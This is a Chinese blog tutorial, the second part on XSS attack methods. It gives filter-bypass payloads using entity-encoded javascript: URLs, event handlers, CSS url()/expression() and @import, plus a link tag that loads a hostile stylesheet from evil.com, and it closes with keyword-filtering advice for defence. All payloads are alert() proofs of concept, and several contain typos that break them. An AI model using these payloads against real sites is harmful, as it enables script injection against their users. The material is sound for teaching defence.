xss的攻击方式二

4)对标签属性值进行编码
如果程序对html标签的属性值(注意是属性值不是属性)进行过滤,我们可以对其进行编码来绕过。以为html中属性值本身支持ascll码的形式。比如:
javaScript:alert(“xss”)编程javaScrip&#115&#58alert(“xss”)
同时在此基础上如果过滤了空格、tab键等,我们也可以将他们进行编码转化。比如换行符的ascll编码为&#10、tab的编码为&#09.所以我们可以进行如下转化。/ 变为/。

综上因此我们在防御xss的时候也应该过滤掉#、&。

5)产生自己的事件:
事件能让Javascript代码执行比如:
<input tupe=“button” value=“click” onlick=“alert:(“xss”)”>
我们点击click按钮,即可触发onlick事件,进而触发代码。
再比如:
<img src="#" οnerrοr=alert:(“xss”)>在这里oneerro是img标记的一个事件,只要页面发生错误,该事件就被激活,进而执行代码。src属性用来引用图片的地址,如果地址不存在或者是错误的就会报错。
6)css跨站剖析
css跨站脚本的另一个载体是css样式表。但是css样式表在各个浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用。
使用css执行JavaScript代码的示例如下:
<div style=“background-image:url(javascript:alert(‘xss’))”>
<style>
body {background-image: url(“javascript:alert(‘xss’)”);}
</style>
使用expression同样也可以触发xss漏洞:
<div style=“width: expression(alert(‘xss’));”>
<style>
body {background-image: expression(alert(‘xss’));}
</style>
从上面我们可以看出,如果客户端禁用了style标签,我们可以利用html标签的style属性执行代码,。而且style属性可以和任意字符的标签结合。
css有一个特点:
css样式表不需要嵌入HTML代码中,他能从其他文件甚至是从不同的服务器上进行引用,比如,用户可以使用<link>标签引用css。
例如:
假设样式表文件的地址为http://www.evil.com/attack.css。其中嵌入了代码
p {
background-image: expression(alert(‘xss’));
}
这时候目标网站的xss explipt为:
<link rel=“stylesheet” herf=“http://www.evil.com/attack.css”>
另外也可利用@import进行导入。@import有一个特点,就是能直接执行Javascript代码,比如:
<style>
@import ‘javascript:alert(“xss”)’;
</style>

**

综上所述:安全起见,我们也应该过滤expression、JavaScript、import等关键字。

**

补充:
background-image 属性描述了元素的背景图像.
body {background-image:url(‘paper.gif’);}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值